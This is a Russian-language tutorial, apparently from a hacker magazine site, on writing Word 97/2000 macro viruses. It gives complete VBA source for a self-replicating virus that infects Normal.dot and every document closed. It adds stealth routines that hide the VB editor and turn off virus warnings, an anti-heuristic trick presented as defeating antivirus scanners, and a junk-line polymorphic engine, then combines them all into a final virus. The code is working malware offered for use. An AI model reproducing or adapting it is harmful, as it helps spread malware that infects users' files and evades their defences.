В последнее время компьютерный мир захлестнула волна макро вирусов. Почему же данные вирусы получили такое
распространение? Всё довольно просто - для создания макро вируса не нужно каких либо глубоких
познаний в программировании, так же не нужно знания ассемблера. Что позволило множеству
неопытных программистов попробовать свои силы в разработке вирусов.
Что же необходимо для разработки макро вируса? Во первых это минимальное знание языка VB и
желательно VBA, для разработки полностью готового к распространению макро вируса вам
понадобится Microsoft Word 97/2000 и желательно какой-нибудь антивирус с обновлёнными
базами.

Итак теория: практически все макро вирусы заражают файл Normal.dot
- это базовый шаблон, который загружается при открытии документа, при создании нового документа...
Что же нам дает заражение Normal.dot? При зараженном Normal.dot, когда создаётся новый файл
в начале отрабатывает макрос, загруженный в Normal.dot.
Это нам даёт возможность заражать все открытые или новые документы (при заражённом Normal.dot).

Теперь разберём алгоритм простейшего макровируса:

1)Если Normal.dot не заражён, то сохраняем текст макроса в каком-нибудь внешнем
скрытом файле.

2)Проверим если текущий документ не заражён, то заразим его.

3)Если Normal.dot не заражён, то инфицируем его.

Алгоритм довольно прост, не правда ли? Давайте теперь его реализуем.

Вот исходник:

'-------------------------------
Sub Document_Close()
' h0b0t Word 97/2000 macr0 virus
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах

If Application.UserName <> "[h0b0t]" Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd"
End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit1
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub Document_Close()"
Else: t.CodeModule.InsertLines i, a
End If
End If
i = i + 1
Loop
quit1:
Close #1

End If

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub AutoClose()"
Else: t.CodeModule.InsertLines i, a
End If
End If
i = i + 1
Loop
quit:
Close #1
Application.UserName = "[h0b0t]"
End If
End Sub
'-------------------------------

Данный вирус заражает документы при их закрытии, но его легко можно модифицировать для 
заражения при создании нового документа. Для этого всего лишь необходимо заменить
AutoClose() на AutoNew(). Аналогичным образом можно сделать при открытии документа или при сохранении (AutoOpen,
AutoSave).

Вообще существует множество способов инфицирования документов Word, мы использовали
непосредственную работу с файлами и метод Export для создания файла на диске с текстом
макроса и копированием его в инфицируемые документы.

В макро вирусах применяются все те же вирусные технологии,
что и в обычных вирусах, т.е. стэлс технология, антиэвристика, полиморфизм.

Начнём наше рассмотрение со стэлс технологий. В чём же заключаются стэлс технологии
применительно к макро вирусам? В большинстве своём это сокрытие
собственного кода от глаз пользователей. Реально на практике это выглядит следующим образом: отключаются в меню
Word'a опции "Редактор VB" и отключается кнопка
"Break". После этого пользователь заподозривший наличие макро вируса если полезет посмотреть на
макросы в Word'e ничего не увидит, что нам и требовалось.
Теперь практическая часть к нашему вирусу достаточно добавить следующие строки:

'-------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB 
Application.EnableCancelKey = 0 'Отключить клавишу Break
End Sub
'-------------------------------
Sub ViewVBCode()
Stealth
End Sub
'-------------------------------
Sub ToolsMacro()
Stealth
End Sub
'-------------------------------
Sub FileTemplates()
Stealth
End Sub
'-------------------------------

После этого можно считать, что мы использовали стэлс технологию для перехвата трёх макросов: 

ViewVBCode(), ToolsMacro(), FileTemplates().

Так же имеет смысл отключение тревоги и сообщений о вирусах, зачем пугать пользователей?

Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах

Теперь перейдём к антиэвристике. Основным антиэвристическим приёмом в макро вирусах является смена шрифта, так же можно
использовать другие антиэвристические приёмы, которые находятся довольно простым способом -
методом научного тыка. И так смена шрифта:

Selection.Font.Name = "Arial"

После этого AVP и Dr.Web у меня перестали опознавать
даже известные им вирусы, которые до этого успешно обнаруживали.

И последняя технология это как обычно полиморфизм или же "мутационная" технология.
Смысл полиморфной технологии применительно к макро вирусам идентичен полиморфизму для
обычных вирусов. Существует два пути мутациий
- первый и самый распространённый это шифрование кода макроса.
А второй это разбавление кода макроса мусорными командами.
Так же возможно комбинирование этих двух способов рассмотрим более конкретно второй способ.
Данный генератор полиморфного кода предназначен для разбавления реальных инструкций мусором.

Рассмотрим саму функцию:

Private Function poly() As String

Dim mas(20)
mas(1) = "'rghuyhewh" '
mas(2) = "'[+]-31337-[+]" '
mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы
mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной
mas(6) = "'436ghdfjhdfjddfh" ' код

oncemore:
a = Rnd(4) '
a = a * 10 ' Это генератор случайных чисел
a = Int(a) ' В итоге данная функция возвращает
If a > 6 Then GoTo oncemore ' случайную строку из масива mas
poly = mas(a) '

End Function 
'-------------------------------

Теперь рассмотрим вирус, который сочетает в себе все три технологии, то есть он будет
использовать как стэлс технологию так и полиморфную технологию плюс пара антиэвристических
инструкций.

Вот исходник:

'-------------------------------
Private Function poly() As String

Dim mas(20)
mas(1) = "'rghuyhewh" '
mas(2) = "'[+]-31337-[+]" '
mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные
mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы
mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной
mas(6) = "'436ghdfjhdfjddfh" ' код

oncemore:
a = Rnd(4) '
a = a * 10 ' Это генератор случайных чисел
a = Int(a) ' В итоге данная функция возвращает
If a > 6 Then GoTo oncemore ' случайную строку из масива mas
poly = mas(a) '

End Function
'-------------------------------
Sub Document_Close()
'Application.UserName = "sl0n"
' h0b0t Word 97/2000 macr0 virus
Application.DisplayAlerts = 0 'Отключить тревогу
Options.VirusProtection = False 'Отключить сообщения о вирусах

fonta = Selection.Font.Name '
Selection.Font.Name = "Arial" ' Антиэвристика
Selection.Font.Name = fonta '

If Application.UserName <> "[h0b0t]" Then
ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd"
End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit1
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then

If i = 29 Then
t.CodeModule.InsertLines i, "sub Document_Close()"
Else: t.CodeModule.InsertLines i, poly + a + poly
End If
End If
i = i + 1
Loop
quit1:
Close #1

End If

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1

Do While Not EOF(1)
Line Input #1, a
If i > 8 Then

If i = 29 Then
t.CodeModule.InsertLines i, "sub AutoClose()"
Else: t.CodeModule.InsertLines i, poly + a + poly
End If
End If
i = i + 1
Loop
quit:
Close #1
Application.UserName = "[h0b0t]"
MsgBox "normal.dot 0wn3d"
End If
End Sub
'-------------------------------
Private Sub Stealth()
Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB
Application.EnableCancelKey = 0 'Отключить клавишу Break
End Sub
'-------------------------------
Sub ViewVBCode()
Stealth
End Sub
'-------------------------------
Sub ToolsMacro()
Stealth
End Sub
'-------------------------------
Sub FileTemplates()
Stealth
End Sub
'-------------------------------

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии